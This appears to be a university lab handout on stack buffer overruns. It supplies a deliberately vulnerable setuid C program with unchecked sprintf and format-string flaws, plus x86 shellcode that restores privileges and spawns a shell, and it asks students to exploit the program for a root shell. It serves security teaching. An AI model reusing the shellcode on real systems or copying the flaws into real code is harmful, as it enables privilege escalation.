Buffer overruns - Obtaining the r00t shell

The purpose of this lab is to show how a vulnerability in a program can be exploited to provide an attacker with a shell running with elevated rights.

In this lab, you are given a source of a vulnerable program that is installed on the system. This program has the user set-ID(s) bit set, which means that upon execution the proram will right with the rights of the owner of the file and not the right of the current user. The real user ID will still be the ID of the current user, but the effective user ID will be that of the owner of the file. For example, a shell with the *s* bit set will be executed with the rights of the owner of the program file.

The vulnerable program

The vulnerable program `addhostalias` is used for adding entries to the hosts file of the user.

```
#include <stdio.h>
#include <stdlib.h>


#define HOSTNAMELEN 256
#define IPADDR      1
#define HOSTNAME    2
#define ALIAS       3

#define HOSTFILE "/home/r00t/hosts"


void add_alias(char *ip, char *hostname, char *alias) {
  char formatbuffer[256];
  FILE *file;

  sprintf(formatbuffer, "%s\t%s\t%s\n", ip, hostname, alias);

  file = fopen(HOSTFILE, "a");
  if (file == NULL) {
    perror("fopen");
    exit(EXIT_FAILURE);
  }

  fprintf(file, formatbuffer);
  if (fclose(file) != 0) {
    perror("close");
    exit(EXIT_FAILURE);
  }
}


int main(int argc, char *argv[]) {
  if (argc != 4) {
    printf("Usage: %s ipaddress hostname alias \n", argv[0]);
    exit(EXIT_FAILURE);
  }

  add_alias(argv[IPADDR], argv[HOSTNAME], argv[ALIAS]);
  return(0);
}
```

This program is compiled and has set-uid flag of the user r00t

```
> ls -l /usr/bin/addhostalias
-rwsr-xr-x    1 r00t     r00t        14512 Apr  5 11:48 /usr/bin/addhostalias
```

Tools

Use FIRE **VM account request** lab to request accounts on `csmisc90.cs.chalmers.se` and `rh7.lbs`. Just submit an empty file, and we will generate an account for you in response. The generation is done manually, so please allow some time for it.
To experiment with buffer overruns, you have to login to a machine `csmisc90.cs.chalmers.se` and then log in to `rh7.lbs`

```
> ssh -l <username> -X csmisc90.cs.chalmers.se
> ssh -l <username> -X rh7.lbs
> uname -r
2.4.18-3
```

Shellcode

```
#ifndef _SHELLCODE_H
#define _SHELLCODE_H

static char shellcode[] =
 "\xb9\xff\xff\xff\xff"
 "\x31\xc0" //sets real user id from effective user id.
 "\xb0\x31"
 "\xcd\x80"


 "\x89\xc3" // copy the value to ebx
 "\x31\xc0"
 "\xb0\x46"
 "\xcd\x80"

 "\x31\xc0"
 "\xb0\x32"
 "\xcd\x80"


 "\x89\xc3"
 "\xb0\x31"
 "\xb0\x47"  //sets real group id from effective user id.
 "\xcd\x80"

"\x31\xc0"
"\x31\xd2"
"\x52"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80"
```

```
"\x31\xc0"
"\x40"
"\xcd\x80";

#endif /* _SHELLCODE_H */
```

Links

- Aleph One, Smashing the Stack for Fun and Profit.
- Claes Nyberg's tutorial with exercises.

Deliverables

1. A program that exploits the vulnerability in the addhostalias and gives you access to the r00t shell. Once you get the r00t shell, add a message with your name to the file /home/r00t/message.txt. Don't delete other messages!
2. Discussion on both how the source of addhostalias can be fixed and general protection mechanisms against buffer overruns.
   Submissions with poor discussion of protection will be rejected.
3. Submit your **code and report** using FIRE.